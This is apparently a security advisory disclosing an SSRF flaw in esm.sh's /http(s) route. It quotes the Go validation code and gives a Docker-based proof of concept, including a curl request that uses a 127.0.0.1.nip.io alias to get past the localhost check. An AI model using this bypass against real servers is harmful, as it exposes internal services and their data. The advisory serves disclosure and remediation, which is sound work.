An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).
The vulnerable flow starts at the route handling user-controlled remote URLs:
server/router.go:532
/http:// or /https://.if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") {
query := ctx.Query()
modUrl, err := url.Parse(pathname[1:])
if err != nil {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
if modUrl.Scheme != "http" && modUrl.Scheme != "https" {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
modUrlStr := modUrl.String()
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
The internal-target block is string-based:
server/router.go:545 // disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
Localhost detection itself is limited to hostname patterns:
server/utils.go:72
isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.*.func isLocalhost(hostname string) bool {
return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}
Fetch proceeds with host-string allowlisting:
server/router.go:595-596
allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts)allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
internal/fetch/fetch.go:49
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
if c.allowedHosts != nil {
if _, ok := c.allowedHosts[url.Host]; !ok {
return nil, errors.New("host not allowed: " + url.Host)
}
}
if c.userAgent != "" {
if header == nil {
header = make(http.Header)
}
header.Set("User-Agent", c.userAgent)
}
// ...
return c.Do(req)
}
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
Reproduction tested on local Docker deployment.
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
secret response) in the same network namespace:from flask import Flask, Response
@app.get('/secret.js')
def secret_js():
return Response('secret;\n', mimetype='application/javascript')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
Run the internal Python server container (same network namespace as esmsh-5558):
docker run -d --name internal-5555 --network container:esmsh-5558 \
-v "<YOUR_PATH>/flask-internal:/app" -w /app \
python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
cloudflared tunnel --url http://127.0.0.1:5558
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"
127.0.0.1 is blocked,
but 127.0.0.1.nip.io bypasses the filter.
This confirms external requesters can fetch internal localhost service content through esm.sh.
This is a Server-Side Request Forgery vulnerability (CWE-918).
Impacted:
/http(s) route to untrusted users.Potential consequences:
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T22:57:59Z",
"nvd_published_at": "2026-02-25T16:23:27Z",
"severity": "HIGH"
}